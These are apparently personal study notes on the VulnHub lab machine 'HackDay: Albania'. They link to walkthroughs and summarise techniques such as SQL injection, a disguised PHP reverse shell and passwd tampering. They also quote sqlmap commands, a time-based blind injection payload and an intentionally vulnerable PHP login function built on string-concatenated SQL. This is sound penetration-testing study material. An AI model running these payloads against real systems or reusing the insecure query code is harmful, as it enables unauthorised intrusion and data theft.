39 VM : HackDay: Albania

https://www.vulnhub.com/entry/hackday-albania,167/


Walkthru:

A. https://github.com/DavidBrosnan/Walkthroughs/wiki/Hackday-Albania [directory hopping using wfuzz, sql injection, sqlmap, file type restriction upload php reverse shell as jpg, msfvenom,meterpreter, no python 2.7 or gcc, password in config.php, mysql> prompt, outfile from mysql, writetable passwd file, adding a root user/pwd to passwd file]

B. http://security-geek.in/2017/02/08/vulnhub-hack-a-day-albania/ []

C. https://g0blin.co.uk/albania-vulnhub-writeup/ [dirsearch, sqlmap time based blind attack, why username field is susceptible to attack while password field isnt ,port forward in our meterpreter session]

Notes:

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Walkthru C..I note in Sqlmap that we were redirected to index.php when triggering the payload. Let's try entering the generated payload of username=test' RLIKE SLEEP(5)-- smYE as our username, and see why we're being redirected to index.php. Tried to login with it , and I was in

root@kali:~# sqlmap -u 192.168.110.101:8008/unisxcudkqjydw/vulnbank/client/login.php --data "username=test*&password=ing" --threads 10 --random-agent --risk 3 --level 5


root@kali:~# sqlmap -u 192.168.110.101:8008/unisxcudkqjydw/vulnbank/client/login.php --data "username=test*&password=ing" --threads 10 --random-agent --risk 3 --level 5 --technique T
T=time based blind attack 

Ok - obviously the login function must be defined in config.php, so let's see what we've got. I cat out the contents of config.php, and find the check_login function.

function check_login($username,$password){



    $username = str_ireplace("OR", "", $username);
    $username = str_ireplace("UNION", "", $username);
    $username = str_ireplace("AND", "", $username);
    $password = str_ireplace("'","",$password);
    $sql_query = "SELECT ID FROM klienti where `username` = '$username' and `password` = '$password';";
    $result = mysqli_fetch_assoc(execute_query($sql_query));
    $result = $result["ID"];
    if($result >= 1){
        return $result;
    }else{
        return -1;
        }


}

Ok - so we were unable to retrieve any data, because a number of key commands are stripped out. The reason that the username field is the only vulnerable parameter is because the ' character is stripped from the password field.